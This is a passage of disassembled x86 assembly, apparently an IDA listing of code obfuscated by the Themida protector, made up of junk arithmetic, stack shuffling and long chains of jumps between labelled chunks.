		xor	dh, cl
		push	[esp-18h+arg_12+2]
		push	[esp-14h+arg_E+2]
		jmp	loc_5876CA
; ---------------------------------------------------------------------------


loc_585BCB:				; CODE XREF: Themida_:00584F9Fj
		push	ecx
		jmp	loc_5895AE
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-0Ch+arg_8]
		push	edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp+0]
		add	[esp-4+arg_0], 4
		jmp	loc_58FA58
; ---------------------------------------------------------------------------


loc_585BEC:				; CODE XREF: sub_585452+5BC3j
		pop	edx
		neg	edx
		jmp	loc_5850DD
; ---------------------------------------------------------------------------


loc_585BF4:				; CODE XREF: sub_585452+2EBAj
		and	eax, edi
		push	[esp-8+arg_4]
		pop	edi
		add	esp, 4
		shr	eax, 0Bh
		jmp	loc_587517
; ---------------------------------------------------------------------------


loc_585C05:				; CODE XREF: Themida_:00584BB6j
		push	ebx
		jmp	loc_587F57
; ---------------------------------------------------------------------------


loc_585C0B:				; CODE XREF: Themida_:0058D5F3j
		sub	ebx, edi
		mov	edi, [esp-8+arg_4]
		jmp	loc_58EF15
; ---------------------------------------------------------------------------


loc_585C15:				; CODE XREF: Themida_:00587983j
		inc	ebp
		sub	ebp, 1DB01667h
		jmp	loc_58F5FC
; ---------------------------------------------------------------------------


loc_585C21:				; CODE XREF: Themida_:00587823j
		mov	edi, 2495475Eh
		add	edx, edi
		jmp	loc_58869B
; ---------------------------------------------------------------------------


loc_585C2D:				; CODE XREF: Themida_:0058679Cj
		neg	ah
		push	ecx
		mov	ch, 6Bh
		not	ch
		shr	ch, 7
		dec	ch
		xor	ch, 0Ah
		jmp	loc_587B77
; ---------------------------------------------------------------------------


loc_585C41:				; CODE XREF: sub_585452+87ACj
		push	eax
		mov	eax, 70480C8Eh
		jmp	loc_583CB7
; ---------------------------------------------------------------------------


loc_585C4C:				; CODE XREF: sub_585452+653Dj
		pop	edi
		add	ebp, 2
		jmp	loc_58B3F7
; ---------------------------------------------------------------------------


loc_585C58:				; CODE XREF: Themida_:0058A18Cj
		push	[esp-4+arg_4]
		pop	edx
		pop	[esp-4+arg_0]
		pop	esp
		jmp	loc_58F41F
; ---------------------------------------------------------------------------


loc_585C66:				; CODE XREF: Themida_:0058F188j
		mov	ch, 82h
		mov	bh, 0D6h
		xor	bh, ch
		pop	ecx
		jmp	loc_5888EA
; ---------------------------------------------------------------------------


loc_585C72:				; CODE XREF: Themida_:005884C0j
		sub	al, 15h
		add	al, bh
		add	al, 15h
		pop	bx
		sub	al, 7Dh
		sub	al, 8Fh
		sub	al, bl
		jmp	loc_583D89
; ---------------------------------------------------------------------------


loc_585C85:				; CODE XREF: Themida_:0058E014j
		add	edx, esi
		jmp	loc_584024
; ---------------------------------------------------------------------------


loc_585C8C:				; CODE XREF: Themida_:00587209j
		mov	edi, esp
		jmp	loc_58A676
; ---------------------------------------------------------------------------


loc_585C93:				; CODE XREF: sub_585452-11B2j
		add	esp, 4
		push	edi
		push	[esp-10h+arg_E+2]
		mov	edi, [esp-0Ch+arg_8]
		add	esp, 4
		pop	dword ptr [esp+0]
		jmp	loc_584B2F
; ---------------------------------------------------------------------------


loc_585CAC:				; CODE XREF: sub_58D7D9-7942j
		or	ecx, edx
		jmp	loc_58ACE0
; ---------------------------------------------------------------------------


loc_585CB3:				; CODE XREF: sub_585452+6F7Aj
		mov	esp, [esp-14h+arg_E+2]
		movzx	ecx, al
		jmp	loc_589F6A
; ---------------------------------------------------------------------------


loc_585CBE:				; CODE XREF: Themida_:00586C57j
		xchg	ebp, [esp-14h+arg_E+2]
		pop	esp
		mov	[esp-18h+arg_12+2], esi
		jmp	sub_58960C
; ---------------------------------------------------------------------------


loc_585CCA:				; CODE XREF: sub_585452+571Cj
		pop	ecx
		pop	ebx
		push	ebp
		mov	ebp, 5B4236E5h
		add	[esp-1Ch+arg_1E+2], ebp
		pop	ebp
		add	[esp-20h+arg_1E+2], eax
		sub	[esp-20h+arg_1E+2], 5B4236E5h
		pop	eax
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_585CE9:				; CODE XREF: sub_58E234-442Fj
		or	ebx, 0BB906C5h
		sub	ebx, 0C395FE70h
		mov	edx, ebx
		jmp	loc_58F515
; ---------------------------------------------------------------------------


loc_585CFC:				; CODE XREF: Themida_:00587D53j
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 0FEE768B8h
		add	edx, edi
		pop	edi
		add	eax, edx
		mov	edx, [esp-28h+arg_24]
		add	esp, 4
		xor	ebx, eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	sub_589FD5
; ---------------------------------------------------------------------------


loc_585D24:				; CODE XREF: sub_585452+5387j
		mov	[esp-24h+arg_1E+2], esi
		mov	esi, 192371A4h
		mov	edi, 1DE1245Ah
		xor	edi, esi
		mov	esi, [esp-24h+arg_1E+2]
		add	esp, 4
		add	edi, 1
		inc	edi
		jmp	loc_58630E
; ---------------------------------------------------------------------------


loc_585D48:				; CODE XREF: Themida_:0058FB5Cj
		push	edi
		push	2E6B501Ah
		pop	edi
		neg	edi
		xor	edi, 1DB204B4h
		mov	esi, edi
		jmp	loc_58F4C4
; ---------------------------------------------------------------------------


loc_585D5E:				; CODE XREF: Themida_:0058C98Cj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-24h+arg_1E+2]
		pop	esp
		mov	[esp-28h+arg_24], eax
		mov	eax, 4
		add	ebx, 6C42ECFh
		add	ebx, eax
		push	ecx
		mov	ecx, 38240EE1h
		inc	ecx
		jmp	sub_58D28B
; ---------------------------------------------------------------------------


loc_585D8A:				; CODE XREF: sub_585452+4FB2j
		xor	[esp-24h+arg_1E+2], ebx
		xor	ebx, [esp-24h+arg_1E+2]
		xor	[esp-24h+arg_1E+2], ebx
		not	ebx
		xchg	ebx, [esp-24h+arg_1E+2]
		jmp	loc_5851A8
; ---------------------------------------------------------------------------


loc_585D9D:				; CODE XREF: sub_585452+675j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+56h+var_58+2]
		pop	esp
		pop	[esp+52h+var_54+2]
		pop	esp
		jmp	loc_584A48
; ---------------------------------------------------------------------------


loc_585DB4:				; CODE XREF: Themida_:0058AFEEj
		mov	ebx, 3EB862C6h
		shr	ebx, 3
		shr	ebx, 7
		jmp	loc_58D5D8
; ---------------------------------------------------------------------------


loc_585DC4:				; CODE XREF: Themida_:0058BD25j
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_585DC9:				; CODE XREF: Themida_:0058A555j
		mov	[esp+4Ah+var_4C+2], ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp+4Ah+var_4C+2]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+46h+var_48+2]
		mov	esp, [esp+46h+var_48+2]
		jmp	loc_58F416
; ---------------------------------------------------------------------------


loc_585DE7:				; CODE XREF: Themida_:0058F694j
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp+46h+var_48+2]
		jmp	loc_58424C
; ---------------------------------------------------------------------------


loc_585E07:				; CODE XREF: Themida_:0058521Fj
		sub	edx, 69D516F6h
		and	edx, 6580669Ah
		add	edx, 0B53FFF6h
		xor	ebp, edx
		pop	edx
		jmp	loc_58E12F
; ---------------------------------------------------------------------------


loc_585E21:				; CODE XREF: Themida_:0058E2ACj
		add	edi, ecx
		push	eax
		mov	eax, 1E62295Bh
		sub	eax, 0B4FD130Bh
		sub	edi, 136947B8h
		sub	edi, eax
		add	edi, 136947B8h
		pop	eax
		pop	ecx
		push	edi
		jmp	loc_589098
; ---------------------------------------------------------------------------


loc_585E44:				; CODE XREF: sub_585452-6F7j
		mov	[esp-1Ah+arg_16], edx
		mov	edx, 0
		jmp	loc_588D78
; ---------------------------------------------------------------------------


loc_585E51:				; CODE XREF: Themida_:0058F0F4j
		xor	ecx, esi
		jmp	loc_585B28
; ---------------------------------------------------------------------------


loc_585E58:				; CODE XREF: sub_585452-C67j
		mov	[esp+4+var_4], ebp
		mov	ebp, 1
		and	eax, ebp
		jmp	loc_5883D8
; ---------------------------------------------------------------------------


loc_585E67:				; CODE XREF: Themida_:0058EE04j
		xor	edx, 273237Fh
		add	edx, 70B037D7h
		jmp	loc_58DB11
; ---------------------------------------------------------------------------


loc_585E78:				; CODE XREF: sub_585452+9j
		shr	bh, 6
		jmp	loc_588F6B
sub_585452	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D7D9


loc_585E80:				; CODE XREF: sub_58D7D9-5FF5j
		mov	ecx, 0F054B3Dh
		push	edx
		mov	edx, 0D2C2665h
		add	edx, 708A1430h
		sub	edx, 180E0979h
		jmp	loc_585CAC
; END OF FUNCTION CHUNK	FOR sub_58D7D9
; ---------------------------------------------------------------------------


loc_585E9C:				; CODE XREF: Themida_:0058742Bj
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	618Eh
		mov	[esp], esi
		jmp	loc_588560
; ---------------------------------------------------------------------------


loc_585EB9:				; CODE XREF: Themida_:0058D161j
		add	edx, 39DD2292h
		add	edx, esi
		jmp	loc_58FA4A
; ---------------------------------------------------------------------------


loc_585EC6:				; CODE XREF: Themida_:0058B6DCj
		add	ecx, 1D24027h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58E87B
; ---------------------------------------------------------------------------


loc_585EEA:				; CODE XREF: Themida_:0058415Fj
		mov	ax, [esp]
		jmp	loc_587DCB
; ---------------------------------------------------------------------------


loc_585EF3:				; CODE XREF: Themida_:00584F60j
		add	edx, 11465CEDh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_589573
; ---------------------------------------------------------------------------


loc_585F07:				; CODE XREF: Themida_:0058A0D5j
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 5B497C5Eh
		dec	ebp
		shr	ebp, 8
		or	ebp, 5DFC0CEDh
		push	54BEh
		mov	[esp], eax
		mov	eax, 1
		sub	ebp, eax
		jmp	loc_588BEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BCA7


loc_585F32:				; CODE XREF: sub_58BCA7-1FDBj
		add	esp, 4
		add	esp, 4
		push	ebp
		push	eax
		push	ebx
		jmp	loc_5888E0
; END OF FUNCTION CHUNK	FOR sub_58BCA7
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_58CAE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_585F4B:				; CODE XREF: sub_589967-5A9Ej
		pop	esi
		xchg	ebx, [esp+0]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_58BCF9
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_585F58:				; CODE XREF: Themida_:0058B1C4j
		pop	ebp
		push	ecx
		jmp	loc_58D791
; ---------------------------------------------------------------------------


loc_585F5F:				; CODE XREF: Themida_:00586919j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		sub	esp, 4
		jmp	loc_58BF17
; ---------------------------------------------------------------------------


loc_585F74:				; CODE XREF: Themida_:0058453Dj
		pop	ecx
		add	ecx, 4
		jmp	loc_58D3AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_585F80:				; CODE XREF: sub_585452+6203j
		pop	esp
		push	7A14h
		mov	[esp+0Ah+var_C+2], eax
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], ebx
		mov	ebx, 1AFD2768h
		xor	[esp+0Eh+var_C+2], ebx
		pop	ebx
		pop	dword ptr [edi+40h]
		push	ebx
		push	40h
		pop	ebx
		push	edi
		mov	edi, 6F7C303Ah
		add	ebx, edi
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		add	ebx, edi
		sub	ebx, 6F7C303Ah
		jmp	loc_589B9D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_585FC1:				; CODE XREF: Themida_:0058DBCFj
		pop	edx
		and	ecx, 191A3742h
		shr	ecx, 4
		add	ecx, 0FFEEFFF2h
		push	ebp
		push	eax
		mov	eax, 66C27F72h
		jmp	loc_584C3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_585FDD:				; CODE XREF: sub_589C10-E3Dj
		push	edx
		push	esp
		pop	edx
		push	ebp
		jmp	loc_58B294
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------


loc_585FE6:				; CODE XREF: Themida_:00586309j
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_586DA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_585FF8:				; CODE XREF: sub_585452+A2j
		mov	[esp+0Ah+var_C+2], eax
		push	esp
		push	[esp+0Eh+var_10+2]
		pop	eax
		add	esp, 4
		push	736h
		mov	[esp+0Eh+var_10+2], ecx
		mov	ecx, 5FF50A8Fh
		push	edx
		mov	edx, 51D15187h
		xor	edx, 753A7DF2h
		and	ecx, edx
		pop	edx
		shl	ecx, 7
		xor	ecx, 2C613A38h
		sub	ecx, 5CE538B4h
		add	eax, 0B31AF6h
		add	eax, ecx
		sub	eax, 0B31AF6h
		pop	ecx
		add	eax, 2
		xor	eax, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], eax
		xor	eax, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		shl	byte ptr [esp+0Ah+var_C+2], cl
		pushf
		jmp	loc_58D9CA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586056:				; CODE XREF: Themida_:00588247j
		pop	dx
		push	small 5B80h
		jmp	loc_589429
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586061:				; CODE XREF: sub_585452+1D23j
		xor	[esp+0Eh+var_10+2], ebx
		xor	ebx, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		movsx	cx, al
		jmp	sub_58CF6A
; ---------------------------------------------------------------------------


loc_586073:				; CODE XREF: sub_585452+681Fj
		push	6FB7h
		mov	[esp+12h+var_14+2], ebx
		jmp	loc_58D541
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586080:				; CODE XREF: Themida_:0058CAE8j
		mov	[esp], esi
		mov	esi, 4494693Bh
		push	ebx
		jmp	loc_584267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58608E:				; CODE XREF: sub_58999B-1B0Dj
		add	esi, 5470578Bh
		sub	edx, 75821ACAh
		add	edx, esi
		jmp	loc_58ACAB
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------


loc_5860A1:				; CODE XREF: Themida_:00583C77j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_5843A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5860B4:				; CODE XREF: sub_585452+2C92j
		sub	dh, 2Fh
		jmp	loc_584C62
; ---------------------------------------------------------------------------


loc_5860BC:				; CODE XREF: sub_585452+89B3j
		mov	bh, dl
		jmp	loc_5882BA
; ---------------------------------------------------------------------------


loc_5860C3:				; CODE XREF: sub_585452+1AFBj
		mov	eax, 666801DAh
		sub	[esp+12h+var_C+2], eax
		pop	eax
		push	[esp+0Eh+var_10+2]
		pop	ebp
		jmp	loc_58ACC0
; ---------------------------------------------------------------------------


loc_5860D6:				; CODE XREF: sub_585452+4B1Dj
		mov	[esp+0Eh+var_10+2], eax
		sub	esp, 4
		mov	[esp+12h+var_14+2], esp
		add	[esp+12h+var_14+2], 4
		jmp	loc_58C69B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_5860E8:				; CODE XREF: sub_58FA66-B9BAj
		sub	eax, 4
		jmp	loc_58DC1B
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5860F0:				; CODE XREF: sub_585452+5D69j
		add	edx, edi
		sub	edx, 36A530A9h
		push	eax
		mov	eax, 0
		add	eax, edx
		mov	[eax], cl
		pop	eax
		jmp	loc_587B6B
; ---------------------------------------------------------------------------


loc_586108:				; CODE XREF: sub_585452+70EAj
		mov	dx, word ptr [esp+12h+var_14+2]
		push	ecx
		push	esp
		mov	ecx, [esp+1Ah+var_1C+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Eh+var_20+2]
		pop	esp
		push	edx
		push	edi
		mov	edi, 27AB31E4h
		push	edi
		pop	edx
		pop	edi
		dec	edx
		neg	edx
		sub	esp, 4
		mov	[esp+22h+var_24+2], eax
		mov	eax, 0
		jmp	loc_58B0E1
; ---------------------------------------------------------------------------


loc_586141:				; CODE XREF: sub_585452-887j
		push	ecx
		jmp	sub_58F923
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586147:				; CODE XREF: Themida_:005891F0j
		mov	ecx, 4F060D9Fh
		sub	ecx, 4547EFE5h
		xor	ebx, ecx
		pop	ecx
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		inc	ebx
		and	ebx, 78CF455Fh
		jmp	loc_58A9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586167:				; CODE XREF: sub_585452+2BA4j
		add	esp, 4
		jmp	loc_58B39D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586172:				; CODE XREF: Themida_:005878F9j
		mov	ebx, edi
		jmp	loc_589FFB
; ---------------------------------------------------------------------------


loc_586179:				; CODE XREF: Themida_:00587EA7j
		add	al, cl
		jmp	loc_58AA5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586180:				; CODE XREF: sub_585452+7A03j
		mov	esi, [esp-18h+arg_12+2]
		jmp	sub_587574
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EA34


loc_586188:				; CODE XREF: sub_58EA34-3157j
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], edi
		mov	edi, 570517DDh
		inc	edi
		not	edi
		dec	edi
		or	edi, 16A93F0Ch
		add	edi, 410400D8h
		add	ebx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		push	esi
		mov	esi, 2
		add	ebx, esi
		pop	esi
		push	ebx
		push	[esp+8+var_4]
		pop	ebx
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	cx, word ptr [esp+4+var_4]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], eax
		push	5F2h
		push	esp
		pop	[esp+0Ch+var_C]
		push	5F96h
		mov	[esp+0Ch+var_C], ecx
		push	eax
		mov	eax, 0A9A3219h
		add	eax, 0F565CDEBh
		mov	ecx, eax
		pop	eax
		add	[esp+0Ch+var_8], 38A13B38h
		add	[esp+0Ch+var_8], ecx
		sub	[esp+0Ch+var_8], 38A13B38h
		pop	ecx
		mov	eax, [esp+8+var_8]
		jmp	loc_58A925
; END OF FUNCTION CHUNK	FOR sub_58EA34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589972


loc_586219:				; CODE XREF: sub_589972+65D7j
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_589972
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58621E:				; CODE XREF: sub_585452-416j
		mov	[esp+2+var_4+2], eax
		push	ecx
		mov	ecx, 4E0564A2h
		jmp	loc_587EB4
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58622C	proc near		; CODE XREF: sub_585452+5824j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00585414 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058983E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B0EA SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0058CA2C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058CA81 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058DF70 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058E51C SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 601915DDh
		jmp	loc_58E51C
sub_58622C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58623F:				; CODE XREF: sub_585452+9DB4j
		or	ebx, eax
		pop	eax
		or	ebx, 14EC418Ch
		jmp	loc_585B1E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_586256:				; CODE XREF: sub_58F728-437Ej
		mov	[esp-4+arg_0], edx
		not	[esp-4+arg_0]
		pop	edx
		jmp	loc_58F5C3
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------


loc_586262:				; CODE XREF: Themida_:0058E263j
		push	esi
		mov	esi, 4
		jmp	loc_58CBD1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5896FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585019


loc_586281:				; CODE XREF: sub_585019+9774j
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		jmp	sub_58D7D9
; END OF FUNCTION CHUNK	FOR sub_585019
; ---------------------------------------------------------------------------


loc_586293:				; CODE XREF: Themida_:00583F30j
		pop	ebx
		shl	ebx, 5
		shl	ebx, 7
		dec	ebx
		sub	ebx, 6C82FFFh
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebx, eax
		push	dword ptr [esp]
		jmp	loc_5876A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5862B6:				; CODE XREF: sub_585452+476j
		mov	ecx, 3D33546Bh
		mov	edx, 1CEDFF2Eh
		xor	edx, ecx
		pop	ecx
		xor	eax, edx
		pop	edx
		jmp	loc_58E6A8
; ---------------------------------------------------------------------------


loc_5862CB:				; CODE XREF: sub_585452+42Dj
		pop	edx
		jmp	loc_58C148
; ---------------------------------------------------------------------------


loc_5862D1:				; CODE XREF: sub_585452-7B2j
		mov	[esp-20h+arg_1A+2], edi
		jmp	loc_58C9B8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_5862D9:				; CODE XREF: sub_58FA66-6053j
		mov	[esp-4+arg_0], eax
		jmp	loc_58AAA1
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5862E1:				; CODE XREF: sub_585452+5875j
		mov	ebp, esp
		jmp	loc_58B27D
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_5862E8	proc near		; CODE XREF: sub_585452+23Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00588CDE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058B8C0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058BBA4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C5A7 SIZE 0000000A BYTES

		push	ebp
		jmp	loc_58C5A7
sub_5862E8	endp

; ---------------------------------------------------------------------------


loc_5862EE:				; CODE XREF: Themida_:0058F2F7j
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_58FF1A
; ---------------------------------------------------------------------------


loc_586304:				; CODE XREF: Themida_:0058C33Aj
		add	eax, 4
		jmp	loc_585FE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58630E:				; CODE XREF: sub_585452+8F1j
		inc	edi
		and	edi, 4E11037Bh
		jmp	loc_589B18
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58631A:				; CODE XREF: sub_587574+11CBj
		sub	edi, 6CA33C7Dh
		sub	edi, 757A7679h
		add	edi, esi
		add	edi, 757A7679h
		push	ebp
		jmp	loc_587A63
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------


loc_586334:				; CODE XREF: Themida_:005852ECj
		and	ebp, 623643DBh
		inc	ebp
		push	ecx
		mov	ecx, 2060257h
		jmp	loc_58CC50
; ---------------------------------------------------------------------------


loc_586346:				; CODE XREF: Themida_:0058B0B5j
		pop	ebp
		sub	ebx, 5D3C2269h
		add	ebx, 66BC5FB7h
		add	ebx, eax
		push	ecx
		mov	ecx, 7B6D3367h
		shl	ecx, 5
		add	ecx, 0F915F2D7h
		jmp	loc_589ABE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586369:				; CODE XREF: sub_585452+4BCBj
		sub	eax, 72527A90h
		inc	eax
		jmp	loc_58C3D8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_583D6F


loc_586374:				; CODE XREF: sub_583D6F+9586j
		sub	esi, 0BA7AF4A2h
		jmp	loc_58ABBA
; END OF FUNCTION CHUNK	FOR sub_583D6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58637F:				; CODE XREF: sub_585452+53D7j
		add	bl, 68h
		add	bl, al
		sub	bl, 68h
		add	bl, 0F1h
		push	ecx
		jmp	loc_58D3F7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586390:				; CODE XREF: Themida_:00585196j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_589421
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58639C:				; CODE XREF: sub_585452+3F2Fj
		sub	bl, al
		jmp	loc_589650
; ---------------------------------------------------------------------------


loc_5863A3:				; CODE XREF: sub_585452+8ED0j
		push	eax
		push	[esp-20h+arg_1E+2]
		pop	eax
		jmp	loc_589149
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5863AE:				; CODE XREF: Themida_:0058A484j
		pop	ecx
		jmp	loc_58A5AF
; ---------------------------------------------------------------------------


loc_5863B4:				; CODE XREF: Themida_:0058D9E1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5849F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5863BF:				; CODE XREF: sub_585452+3657j
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_5863C4:				; CODE XREF: sub_585452+70A8j
		add	ebx, 0FFFFFFFFh
		shl	ebx, 1
		sub	ebx, 6EAFE3CEh
		jmp	loc_588C03
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5863D7:				; CODE XREF: Themida_:0058FBC0j
		dec	ecx
		xor	ecx, 5F41373h
		jmp	loc_58C8E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5863E3:				; CODE XREF: sub_585452+6086j
		sub	bl, 0D3h
		add	bl, al
		push	1114h
		mov	[esp-1Ch+arg_16+2], eax
		push	ecx
		push	eax
		mov	ah, 57h
		mov	ch, 7Bh
		xor	ch, ah
		pop	eax
		xor	ch, 0Eh
		mov	ah, ch
		push	[esp-18h+arg_12+2]
		pop	ecx
		add	esp, 4
		jmp	loc_58A969
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BCA7


loc_58640A:				; CODE XREF: sub_58BCA7-33C2j
		add	ebx, 0A809755Fh
		mov	eax, ebx
		pop	ebx
		mov	ebp, eax
		mov	eax, [esp+4+var_4]
		jmp	loc_586C5C
; END OF FUNCTION CHUNK	FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58641D:				; CODE XREF: sub_585452+61Ej
		pop	eax
		jmp	loc_58CB14
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_586423:				; CODE XREF: sub_58AB18-1824j
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, esp
		push	esi
		push	edi
		mov	edi, 694D7C64h
		mov	esi, 69779078h
		sub	esi, edi
		pop	edi
		jmp	loc_587DEC
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------


loc_586444:				; CODE XREF: Themida_:0058E0ADj
		push	dword ptr [esp]
		jmp	loc_58CAAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E761


